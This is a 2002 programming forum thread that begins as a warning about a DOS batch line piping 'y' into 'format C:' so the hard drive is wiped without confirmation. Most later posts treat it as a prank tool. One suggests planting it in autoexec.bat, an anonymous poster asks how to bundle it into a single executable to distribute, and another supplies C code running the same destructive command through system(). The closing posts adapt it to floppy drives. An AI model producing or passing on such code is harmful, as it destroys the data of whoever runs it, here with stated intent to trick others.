Thread: Dangerous Coding for DOS(batch files)

  1. #1
    Registered User
    Join Date
    Jul 2002
    Posts
    3

    Dangerous Coding for DOS(batch files)

    Do not use this in a batch file

    Code:
    echo off
    cls
    echo y|format C:
    This will format the Hard Drive Without user permission.
    This will go right to do a format. You canot stop it. (do not say you were not warned...)

  2. #2
    &TH of undefined behavior Fordy's Avatar
    Join Date
    Aug 2001
    Posts
    5,793
    Hmm....any other pearls of wisdom?

  3. #3
    Registered User raimo's Avatar
    Join Date
    Jun 2002
    Posts
    107

    Re: Dangerous Coding for DOS(batch files)

    Originally posted by zeldalcassci
    Do not use this in a batch file
    Code:
    echo off
    cls
    echo y|format C:
    Great! Thanks!

  4. #4
    Registered User Unimatrix139's Avatar
    Join Date
    Jun 2002
    Posts
    55

    Lightbulb !

    I didn't know u could use a pipe like that ... kool
    Kree'ta Tau'ri! Chaapa'ai!

  5. #5
    Registered User rahaydenuk's Avatar
    Join Date
    Jul 2002
    Posts
    69

    Re: Dangerous Coding for DOS(batch files)

    Originally posted by zeldalcassci
    Do not use this in a batch file

    Code:
    echo off
    cls
    echo y|format C:
    This will format the Hard Drive Without user permission.
    This will go right to do a format. You canot stop it. (do not say you were not warned...)
    What are the chances of someone randomly typing that into a batch file and then running it?

    Thanks for the warning anyway.
    Richard Hayden. ([email protected])
    Webmaster: http://www.dx-dev.com
    DXOS (My Operating System): http://www.dx-dev.com/dxos

    PGP: 0x779D0625

  6. #6
    Registered User VBprogrammer's Avatar
    Join Date
    Mar 2002
    Posts
    175
    Interesting...Lets edit autoexec.bat - mahahahaha!
    VC++ 6

  7. #7
    I am the worst best coder Quantrizi's Avatar
    Join Date
    Mar 2002
    Posts
    644
    the last line of code should tell you that it will format the c drive without user approval anyways

  8. #8
    Unregistered
    Guest

    ha ha

    actually, I was searching for this all my life ...

    now, one more question... can I write this directly
    in my c program ??? because I cant distribute
    my exe and my bat file together.. can i ?

    a single exe which can do that stuff could be useful

    kehkehkehkehkehkeh

    (ooo... what was that ?? an Eeevil laughter )

    :-)

  9. #9
    Registered User Unimatrix139's Avatar
    Join Date
    Jun 2002
    Posts
    55

    Talking Integrate DOS commands into an executable

    It is possible to integrate the two files like this:-

    Code:
    #include <stdio.h>
    #include <stdlib.h>
    
    main()
    {
       system("echo off");
       system("cls");
       system("echo y|format C:");
    }
    You must then ensure that either format.com/exe is in the PATH environment variable or in the current directory.
    Kree'ta Tau'ri! Chaapa'ai!

  10. #10
    Registered User
    Join Date
    Jul 2002
    Posts
    27
    Could this also work on a floppy drive?

  11. #11
    Registered User VBprogrammer's Avatar
    Join Date
    Mar 2002
    Posts
    175
    Should do, you might want to make it a format a: /q which is much faster.
    VC++ 6

  12. #12
    Registered User
    Join Date
    Jul 2002
    Posts
    27
    Nothing happens! Im trying it on a Floppy but its not doing anything.

  13. #13
    Registered User
    Join Date
    Jul 2002
    Posts
    27
    Right..... I written the code again like this:

    Code:
    #include <stdlib.h> 
    
    int main() 
    
    { 
    system("format A:"); 
    system("PAUSE");
    return 0; 
    }
    And that is formatting the A: drive now!

  14. #14
    Registered User moonwalker's Avatar
    Join Date
    Jul 2002
    Posts
    282

    wait a minute

    did it ask for a confirmation ?

  15. #15
    Registered User
    Join Date
    Jul 2002
    Posts
    27
    Yeah it did.

    And then asked after if i wanted to format another!

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Reading .dat files from a folder in current directory...
    By porsche911nfs in forum C++ Programming
    Replies: 7
    Last Post: 04-04-2009, 09:52 PM
  2. Working with muliple source files
    By Swarvy in forum C++ Programming
    Replies: 1
    Last Post: 10-02-2008, 08:36 AM
  3. Folding@Home Cboard team?
    By jverkoey in forum A Brief History of Cprogramming.com
    Replies: 398
    Last Post: 10-11-2005, 08:44 AM
  4. Batch file programming
    By year2038bug in forum Tech Board
    Replies: 10
    Last Post: 09-05-2005, 03:30 PM
  5. Coding C++ to play *.wma files
    By eyemustbecrazy in forum C++ Programming
    Replies: 2
    Last Post: 04-07-2005, 10:26 PM